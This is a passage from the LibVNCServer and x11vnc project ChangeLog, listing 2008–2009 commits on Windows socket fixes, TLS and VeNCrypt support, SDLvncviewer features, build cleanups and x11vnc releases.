2887	under windows.  Actually, initSockets() has to be called everywhere we possibly use
2888	sockets the first time.  Also fix return value of initSockets().  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2889	Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2890
28912009-10-30  Alexander Dorokhine <arrenlex@gmail.com>
2892
2893	* libvncclient/rfbproto.c, libvncclient/vncviewer.c,
2894	rfb/rfbclient.h: libvncclient: Add FinishedFrameBufferUpdate
2895	callback When working on a program which searches the display for some image,
2896	one does not want to search again without getting an FB update.  Add
2897	a callback to make this possible.
2898
28992009-10-30  Alexander Dorokhine <arrenlex@gmail.com>
2900
2901	* libvncclient/sockets.c: Fix hostname resolution problems under
2902	Windows On Windows, the WSA system needs to be initialized to be able to
2903	look up host names.  This patch also changes *addr = 0 to use the constant
2904	INADDR_LOOPBACK instead, which seems to be required on Windows.
2905
29062009-10-17  runge <runge@karlrunge.com>
2907
2908	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c,
2909	x11vnc/solid.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1,
2910	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Workaround for inane
2911	X_ShmAttach incompatibility in Xorg, -solid support in xfce,
2912	showrfbauth option.
2913
29142009-10-08  runge <runge@karlrunge.com>
2915
2916	* x11vnc/misc/enhanced_tightvnc_viewer/README,
2917	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
2918	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
2919	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
2920	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
2921	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
2922	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
2923	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
2924	ll.patch: Synchronize ssvnc source, etc.   Nearly the 1.0.24
2925	release...
2926
29272009-10-08  runge <runge@karlrunge.com>
2928
2929	* classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
2930	x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
2931	x11vnc/connections.h, x11vnc/enc.h, x11vnc/help.c,
2932	x11vnc/keyboard.c, x11vnc/options.c, x11vnc/options.h,
2933	x11vnc/params.h, x11vnc/remote.c, x11vnc/remote.h, x11vnc/screen.c,
2934	x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c,
2935	x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h,
2936	x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h,
2937	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c,
2938	x11vnc/unixpw.h, x11vnc/user.c, x11vnc/util.c, x11vnc/util.h,
2939	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
2940	x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c,
2941	x11vnc/xevents.h, x11vnc/xwrappers.c: Huge number of changes, see
2942	x11vnc/ChangeLog
2943
29442009-10-07  runge <runge@karlrunge.com>
2945
2946	* libvncclient/rfbproto.c: Some broken build environments treat
2947	fprintf(fh, buf) as a fatal error...
2948
29492009-10-07  runge <runge@karlrunge.com>
2950
2951	* libvncserver/main.c: Some broken build environments treat
2952	fprintf(fh, buf) as a fatal error...
2953
29542009-10-02  Vic Lee <llyzs@163.com>
2955
2956	* libvncclient/rfbproto.c, libvncclient/tls.c, rfb/rfbclient.h,
2957	rfb/rfbproto.h: Add VeNCrypt support in libvncclient Signed-off-by: Vic Lee <llyzs@163.com>
2958
29592009-10-02  Christian Beier <dontmind@freeshell.org>
2960
2961	* configure.ac, libvncclient/rfbproto.c, libvncclient/sockets.c,
2962	rfb/rfb.h, vncterm/Makefile.am: mingw32 crosscompile fixes.  SOCKET is redefined in winsock2.h so #undef it where winsock2.h is
2963	included. The changes in rfbproto.c circumvent crosscompiler errors
2964	like 'S_IFMT' undeclared ...', the Makefile.am changes avoid
2965	building linux specific stuff for a win32 host target.  Also added
2966	configure option to specify sdl-config.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2967	Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2968
29692009-10-02  Johannes Schindelin <johannes.schindelin@gmx.de>
2970
2971	* configure.ac: Fallback to --without-client-tls if GNUTLS could not
2972	be found Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2973
29742009-10-01  Vic Lee <llyzs@163.com>
2975
2976	* configure.ac, libvncclient/Makefile.am, libvncclient/rfbproto.c,
2977	libvncclient/sockets.c, libvncclient/tls.c, libvncclient/tls.h,
2978	libvncclient/vncviewer.c, rfb/rfbclient.h, rfb/rfbproto.h: Add
2979	anonymous TLS support in libvncclient Signed-off-by: Vic Lee <llyzs@163.com>
2980
29812009-10-02  Johannes Schindelin <johannes.schindelin@gmx.de>
2982
2983	* test/encodingstest.c: encodingstest: fix multi-threading issue Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2984
29852009-10-02  Johannes Schindelin <johannes.schindelin@gmx.de>
2986
2987	* test/encodingstest.c: encodingstest: fix whitespace Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2988
29892009-10-02  Johannes Schindelin <johannes.schindelin@gmx.de>
2990
2991	* AUTHORS: Add Christian Beier to the AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2992
29932009-10-02  Christian Beier <dontmind@freeshell.org>
2994
2995	* libvncclient/rfbproto.c: Fix IsUnixSocket() This is a pure functionality fix: according to its manpage, stat()
2996	returns 0 on success. Checking for a return value of zero fixes
2997	incorrect results of IsUnixSocket().  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2998
29992009-09-27  Johannes Schindelin <johannes.schindelin@gmx.de>
3000
3001	* AUTHORS: Add Vic Lee to the author list Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3002
30032009-09-14  Vic Lee <llyzs@163.com>
3004
3005	* libvncclient/rfbproto.c: Fix bug for logging unsupported security
3006	types Signed-off-by: Vic Lee <llyzs@163.com>
3007
30082009-09-14  Vic Lee <llyzs@163.com>
3009
3010	* libvncclient/rfbproto.c: Fix bug for VNC Server version 4 Signed-off-by: Vic Lee <llyzs@163.com>
3011
30122009-08-10  runge <runge@karlrunge.com>
3013
3014	* x11vnc/README, x11vnc/connections.c, x11vnc/enc.h, x11vnc/help.c,
3015	x11vnc/pointer.c, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c,
3016	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Improvements
3017	to -unixpw_cmd and -unixpw_nis.  Experimental X11VNC_WATCH_DX_DY=1
3018	for buggy theme menus, see:
3019	http://ubuntuforums.org/showthread.php?t=1223490
3020
30212009-07-11  runge <runge@karlrunge.com>
3022
3023	* prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/help.c,
3024	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Setup for x11vnc version
3025	0.9.9
3026
30272009-06-19  runge <runge@karlrunge.com>
3028
3029	* classes/ssl/README,
3030	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
3031	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/README: 
3032	Add proxyHost and proxyPort java applet params.
3033
30342009-06-18  runge <runge@karlrunge.com>
3035
3036	* classes/ssl/ss_vncviewer,
3037	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
3038	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
3039	x11vnc/ChangeLog, x11vnc/README,
3040	x11vnc/misc/enhanced_tightvnc_viewer/README,
3041	x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
3042	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
3043	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3044	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3045	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
3046	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
3047	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3048	ll.patch: classes/ssl: java viewer now handles auth-basic proxy
3049	logins.  misc/enhanced_tightvnc_viewer: update ssvnc.
3050
30512009-06-16  Johannes Schindelin <johannes.schindelin@gmx.de>
3052
3053	* libvncclient/vncviewer.c: Fix two issues in rfbGetClient() There was an unnecessary assignment, and an assignment of a string
3054	that was to be free()ed later, so it has to be strdup()ed.  Both issues spotted by Roman Held.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3055
30562009-06-14  runge <runge@karlrunge.com>
3057
3058	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
3059	x11vnc/help.c, x11vnc/screen.c, x11vnc/sslhelper.c,
3060	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: 
3061	X11VNC_REFLECT_PASSWORD env. var., warning about compiz, improve
3062	single-port.
3063
30642009-05-22  Stefan Becker <stefanb2@users.sourceforge.net>
3065
3066	* libvncclient/vncviewer.c: Add close() to rfbClientCleanup() Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3067
30682009-05-21  runge <runge@karlrunge.com>
3069
3070	* x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README,
3071	x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c,
3072	x11vnc/help.c, x11vnc/keyboard.c, x11vnc/misc/turbovnc/convert,
3073	x11vnc/options.c, x11vnc/options.h, x11vnc/rates.c,
3074	x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
3075	x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/user.c,
3076	x11vnc/userinput.c, x11vnc/util.c, x11vnc/util.h, x11vnc/x11vnc.1,
3077	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
3078	x11vnc/xrecord.c, x11vnc/xwrappers.c: Thread safety.  Fix -clip -in
3079	-rawfb.  Try to avoid Xorg stuck key bug.
3080
30812009-05-21  runge <runge@karlrunge.com>
3082
3083	* ChangeLog, configure.ac, libvncserver/main.c,
3084	libvncserver/rfbserver.c, libvncserver/tight.c,
3085	libvncserver/tightvnc-filetransfer/rfbtightserver.c,
3086	libvncserver/zlib.c, libvncserver/zrle.c,
3087	libvncserver/zrleencodetemplate.c, rfb/rfb.h: Thread safety for
3088	zrle, zlib, tight.  Proposed tight security type fix for debian bug
3089	517422.
3090
30912009-05-20  llyzs <llyzs@163.com>
3092
3093	* rfb/rfbclient.h: Export the functions SupportsClient2Server and
3094	SupportsServer2Client These are useful functions for VNC clients, so let's export them for
3095	everybody to use.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3096
30972009-05-12  Johannes Schindelin <johannes.schindelin@gmx.de>
3098
3099	* AUTHORS: Add Ben to the authors Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3100
31012009-05-12  Johannes Schindelin <johannes.schindelin@gmx.de>
3102
3103	* autogen.sh: Make autogen.sh executable Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3104
31052009-05-12  Ben Klopfenstein <benklop@gmail.com>
3106
3107	* libvncclient/rfbproto.c, libvncclient/sockets.c, rfb/rfbclient.h: 
3108	libvncclient: Unix sockets support by Ben Klopfenstein Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3109
31102009-03-31  runge <runge@karlrunge.com>
3111
3112	* x11vnc/README, x11vnc/connections.c, x11vnc/connections.h,
3113	x11vnc/screen.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h,
3114	x11vnc/x11vnc_defs.c: rebuild for x11vnc dev 0.9.8
3115
31162009-03-31  runge <runge@karlrunge.com>
3117
3118	* prepare_x11vnc_dist.sh: x11vnc 0.9.8 dev
3119
31202009-03-30  Johannes Schindelin <johannes.schindelin@gmx.de>
3121
3122	* success.html: Add LCD4Linux to the success stories Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3123
31242009-03-16  runge <runge@karlrunge.com>
3125
3126	* x11vnc/README, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c,
3127	x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3128	x11vnc/x11vnc_defs.c: Add some -remap tricks.  Limit rfbCFD message
3129	count.
3130
31312009-03-14  runge <runge@karlrunge.com>
3132
3133	* x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/README,
3134	x11vnc/allowed_input_t.h, x11vnc/avahi.c, x11vnc/avahi.h,
3135	x11vnc/blackout_t.h, x11vnc/cleanup.c, x11vnc/cleanup.h,
3136	x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c,
3137	x11vnc/cursor.h, x11vnc/enc.h, x11vnc/enums.h, x11vnc/gui.c,
3138	x11vnc/gui.h, x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c,
3139	x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h,
3140	x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/macosx.c,
3141	x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h,
3142	x11vnc/macosxCGP.c, x11vnc/macosxCGP.h, x11vnc/macosxCGS.c,
3143	x11vnc/macosxCGS.h, x11vnc/misc/LICENSE,
3144	x11vnc/misc/turbovnc/Makefile.am, x11vnc/misc/turbovnc/README,
3145	x11vnc/misc/turbovnc/apply_turbovnc, x11vnc/misc/turbovnc/convert,
3146	x11vnc/misc/turbovnc/convert_rfbserver,
3147	x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/options.c,
3148	x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h,
3149	x11vnc/pointer.c, x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h,
3150	x11vnc/remote.c, x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h,
3151	x11vnc/screen.c, x11vnc/screen.h, x11vnc/scrollevent_t.h,
3152	x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c,
3153	x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h,
3154	x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h,
3155	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/uinput.c,
3156	x11vnc/uinput.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c,
3157	x11vnc/user.h, x11vnc/userinput.c, x11vnc/userinput.h,
3158	x11vnc/util.c, x11vnc/util.h, x11vnc/v4l.c, x11vnc/v4l.h,
3159	x11vnc/win_utils.c, x11vnc/win_utils.h, x11vnc/winattr_t.h,
3160	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
3161	x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h,
3162	x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c,
3163	x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h,
3164	x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c,
3165	x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: Insert
3166	x11vnc copyright and license notices.
3167
31682009-03-14  runge <runge@karlrunge.com>
3169
3170	* x11vnc/README: Test git commit setting username & etc.
3171
31722009-03-14  Karl J. Runge <runge@haystack.runge.home>
3173
3174	* x11vnc/README, x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c,
3175	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Tweak settings and docs for
3176	create_display.  Add FD_EXTRA finishing cmd.
3177
31782009-03-13  runge <runge>
3179
3180	* x11vnc/ChangeLog, x11vnc/README, x11vnc/screen.c,
3181	x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3182	x11vnc/x11vnc_defs.c: x11vnc: Fix off-screen bug for -ncache_cr
3183	copyrect.
3184
31852009-03-12  dscho <dscho>
3186
3187	* ChangeLog, client_examples/SDLvncviewer.c: Teach SDLvncviewer
3188	about scroll wheel events Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3189
31902009-03-12  dscho <dscho>
3191
3192	* client_examples/SDLvncviewer.c: SDLvncviewer: fix passing a wrong
3193	pointer type Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3194
31952009-03-08  dscho <dscho>
3196
3197	* ChangeLog, client_examples/Makefile.am,
3198	client_examples/SDLvncviewer.c, client_examples/scrap.c,
3199	client_examples/scrap.h: Clipboard support for SDLvncviewer The clipboard support has only been tested on Linux so far.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3200
32012009-03-07  runge <runge>
3202
3203	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
3204	x11vnc/help.c, x11vnc/misc/turbovnc/Makefile.am,
3205	x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc,
3206	x11vnc/misc/turbovnc/convert,
3207	x11vnc/misc/turbovnc/convert_rfbserver,
3208	x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/scan.c,
3209	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c,
3210	x11vnc/user.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Allow range
3211	for X11VNC_SKIP_DISPLAY, document grab Xserver issue.  Add
3212	progress_client() to proceed more quickly thru handshake.
3213	Improvements to turbovnc hack.
3214
32152009-03-07  dscho <dscho>
3216
3217	* ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer:
3218	upon focus loss, force releasing the Alt keys When switching windows using the Alt+Tab shortcut, SDLvncviewer
3219	would get the "down" event, but not the "up" event.  This patch
3220	provides a workaround.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3221
32222009-03-07  dscho <dscho>
3223
3224	* client_examples/SDLvncviewer.c: SDLvncviewer: refactor event
3225	handling Instead of having deep indent levels, put the code to handle events
3226	into its own function.  That also helps readability.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3227
32282009-03-07  dscho <dscho>
3229
3230	* TODO: Update SDLvncviewer TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3231
32322009-03-07  dscho <dscho>
3233
3234	* ChangeLog, client_examples/SDLvncviewer.c: Teach SDLvncviewer to
3235	be resizable Using "SDLvncviewer -resizable", you make the window resizable.
3236	This means that you can shrink the window (e.g. when you are trying
3237	to access an x11vnc from your little netbook), or you can enlarge
3238	it.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3239
32402009-03-06  dscho <dscho>
3241
3242	* ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer:
3243	enable key repeat Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3244
32452009-02-28  runge <runge>
3246
3247	* configure.ac, x11vnc/ChangeLog, x11vnc/README,
3248	x11vnc/misc/Makefile.am, x11vnc/misc/turbovnc/Makefile.am,
3249	x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc,
3250	x11vnc/misc/turbovnc/convert, x11vnc/misc/turbovnc/tight.c,
3251	x11vnc/misc/turbovnc/turbojpeg.h,
3252	x11vnc/misc/turbovnc/undo_turbovnc: x11vnc: add kludge to experiment
3253	with turbovnc.
3254
32552009-02-26  runge <runge>
3256
3257	* x11vnc/ChangeLog, x11vnc/README, x11vnc/remote.c,
3258	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
3259	x11vnc/x11vnc_defs.c: x11vnc: fix some -QD cases for use in
3260	tkx11vnc.
3261
32622009-02-22  runge <runge>
3263
3264	* x11vnc/README, x11vnc/avahi.c, x11vnc/enc.h, x11vnc/selection.c: 
3265	fix some compiler warnings.
3266
32672009-02-22  runge <runge>
3268
3269	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1,
3270	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: add -noskip_lockkeys option
3271	for future use.
3272
32732009-02-04  runge <runge>
3274
3275	* classes/ssl/README,
3276	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
3277	x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/remote.c,
3278	x11vnc/screen.c, x11vnc/selection.c, x11vnc/sslhelper.c,
3279	x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/user.c,
3280	x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3281	x11vnc/x11vnc_defs.c, x11vnc/xwrappers.c: x11vnc: Add "sendbell"
3282	remote cmd.  Fix copyrect updates under -reflect.  Workaround that
3283	checks valid window of selection requestor.  Wait on some ssl helper
3284	pids earlier.  Workaround XAUTHLOCALHOSTNAME for some new usage
3285	modes.  Set fake fb to requested bpp with correct masks.  -padgeom
3286	once:... mode.  Set LIBXCB_ALLOW_SLOPPY_LOCK by default.
3287	rfbRandomBytes earlier.  classes/ssl: Update jars.  Add "TOP_"
3288	dropdown customization to ultravnc java viewer applet FTP panel.
3289
32902009-02-03  dscho <dscho>
3291
3292	* test/Makefile.am: test/Makefile: use check_PROGRAMS Rather than use noinst_PROGRAMS, check_PROGRAMS will define programs
3293	that are only compiled when someone actually runs `make check`.  Signed-off-by: Mike Frysinger <vapier@gentoo.org> Signed-off-by:
3294	Johannes Schindelin <johannes.schindelin@gmx.de>
3295
32962009-02-03  dscho <dscho>
3297
3298	* ChangeLog: Record Mike's automake cleanups Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3299
33002009-02-03  dscho <dscho>
3301
3302	* Makefile.am, client_examples/Makefile.am, configure.ac,
3303	contrib/Makefile.am, examples/Makefile.am,
3304	libvncclient/Makefile.am, libvncserver/Makefile.am,
3305	test/Makefile.am, vncterm/Makefile.am, x11vnc/Makefile.am: clean up
3306	build flags The flag handling (both compiler options and include paths) are a
3307	mess at the moment.  There is no point in forcing "-O2 -g" when
3308	these are already the defaults, and if someone changes the defaults,
3309	chances are good they don't want you clobbering their choices.  The -Wall flag should be handled in configure and thrown into CFLAGS
3310	once rather than every Makefile.am.  Plus, this way we can control
3311	which compilers the flag actually gets used with.  Finally, the INCLUDES variable is for -I paths, not AM_CFLAGS.  Nor
3312	should it contain -I. as this is already in the default includes
3313	setup.  Signed-off-by: Mike Frysinger <vapier@gentoo.org> Signed-off-by:
3314	Johannes Schindelin <johannes.schindelin@gmx.de>
3315
33162009-02-03  dscho <dscho>
3317
3318	* configure.ac: configure: use _cv_ in cache var name Newer autoconf fails if _cv_ is not in the cache var name.  Signed-off-by: Mike Frysinger <vapier@gentoo.org> Signed-off-by:
3319	Johannes Schindelin <johannes.schindelin@gmx.de>
3320
33212009-02-03  dscho <dscho>
3322
3323	* configure.ac: configure: use AM_PROG_CC_C_O Newer automakes error out due to per-file CFLAGS being used unless
3324	the macro AM_PROG_CC_C_O is set in configure.ac.  [jes: The macro AM_PROG_CC_C_O has been around since 1999, so it
3325	 should be safe.] Signed-off-by: Mike Frysinger <vapier@gentoo.org> Signed-off-by:
3326	Johannes Schindelin <johannes.schindelin@gmx.de>
3327
33282009-02-03  dscho <dscho>
3329
3330	* autogen.sh: autogen.sh: run with set -e If any autotool command fails, we want to abort, not keep running.
3331	Otherwise, errors in say a Makefile.am will be missed as the
3332	automake failure gets ignored and then lost in the noise.  Signed-off-by: Mike Frysinger <vapier@gentoo.org> Signed-off-by:
3333	Johannes Schindelin <johannes.schindelin@gmx.de>
3334
33352009-01-12  runge <runge>
3336
3337	* x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
3338	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
3339	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3340	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3341	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
3342	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
3343	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
3344	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3345	ll.patch: SSVNC 1.0.22 release (+ a little bit more).  crl lists,
3346	ssh pid finding improvements, and more.
3347
33482009-01-12  runge <runge>
3349
3350	* CMakeLists.txt, ChangeLog, configure.ac: configure.ac,
3351	CMakeLists.txt: set LibVNCServer version to 0.9.7
3352
33532009-01-12  runge <runge>
3354
3355	* classes/ssl/README, classes/ssl/ss_vncviewer,
3356	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
3357	x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3358	x11vnc/x11vnc_defs.c: classes/ssl: Add configurable Ultra java
3359	applet Filexfer Drives drop down (e.g.
3360	ftpDropDown=Home.Desktop.bin).  Document all applet parameters in
3361	classes/ssl/README.
3362
33632009-01-11  runge <runge>
3364
3365	* ChangeLog: Forgot ChangeLog
3366
33672009-01-11  runge <runge>
3368
3369	* prepare_x11vnc_dist.sh: prepare_x11vnc_dist.sh: fix SUBDIRS and
3370	DIST_SUBDRIS when using --with-system-libvncserver
3371
33722009-01-10  runge <runge>
3373
3374	* x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/screen.c,
3375	x11vnc/selection.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c,
3376	x11vnc/xrecord.c: x11vnc: fix failure of -8to24 on default depth 24
3377	due to nonstandard indexed color support changes.  Fix small window
3378	for failure after XSendEvent selection call; add env var.
3379	X11VNC_SENDEVENT_SYNC=1 to take even more care.
3380
33812009-01-04  runge <runge>
3382
3383	* x11vnc/README, x11vnc/avahi.c, x11vnc/cleanup.c,
3384	x11vnc/connections.c, x11vnc/connections.h, x11vnc/enc.h,
3385	x11vnc/gui.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c,
3386	x11vnc/sslhelper.c, x11vnc/x11vnc.c, x11vnc/xwrappers.c: x11vnc: fix
3387	compiler warnings.
3388
33892009-01-04  runge <runge>
3390
3391	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
3392	x11vnc/connections.c, x11vnc/help.c, x11vnc/linuxfb.c,
3393	x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c,
3394	x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
3395	x11vnc/sslhelper.c, x11vnc/v4l.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3396	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xwrappers.c: x11vnc:
3397	add -rmflag option, -rawfb vt support, bpp < 8 support for rawfb,
3398	find /dev/video better. Fix reverse SSL connection for DH.  Some
3399	improvements for CUPS TS helper, restart if needed.
3400
34012009-01-04  runge <runge>
3402
3403	* configure.ac, prepare_x11vnc_dist.sh: configure.ac: add include
3404	file file for libXrandr on Solaris.  prepare_x11vnc_dist.sh: set
3405	version to 0.9.7
3406
34072008-12-10  runge <runge>
3408
3409	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
3410	x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h,
3411	x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/ssltools.h,
3412	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c,
3413	x11vnc/userinput.c, x11vnc/util.c, x11vnc/x11vnc.1,
3414	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: 0.9.6 release.  Some
3415	strtok bugfixes. rename -tlsvnc to -anontls.  Disable ssl caching.
3416	No cert creation prompting in inetd or bg modes.  waitpid a bit more
3417	carefully on ssl helpers.  Tune ssl initial timeouts.  Let -create
3418	user specify starting X display.  fix -rfbport prompt gui for older
3419	tk.  -sslonly option. Error if no -ssl with related options. -rand
3420	option.  -ssl implies -ssl SAVE
3421
34222008-11-22  runge <runge>
3423
3424	* classes/ssl/ss_vncviewer: Update ss_vncviewer...
3425
34262008-11-22  runge <runge>
3427
3428	* x11vnc/misc/enhanced_tightvnc_viewer/README,
3429	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
3430	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
3431	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3432	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3433	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
3434	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
3435	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa
3436	tch,
3437	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3438	ll.patch, x11vnc/misc/enhanced_tightvnc_viewer/ssvnc.desktop: SSVNC
3439	  sync: stunnel upgrade and patch, change wish order, -anondh -ciphers
3440	  option VeNCrypt and TLSVNC support (in pproxy and unix vncviewer).
3441	  Help text tweaks -killstunnel, s_client fixes, No Encryption easier.
3442	  Zeroconf/avahi support.  tk font fixes. SSVNC_ULTRA_FTP_JAR finding
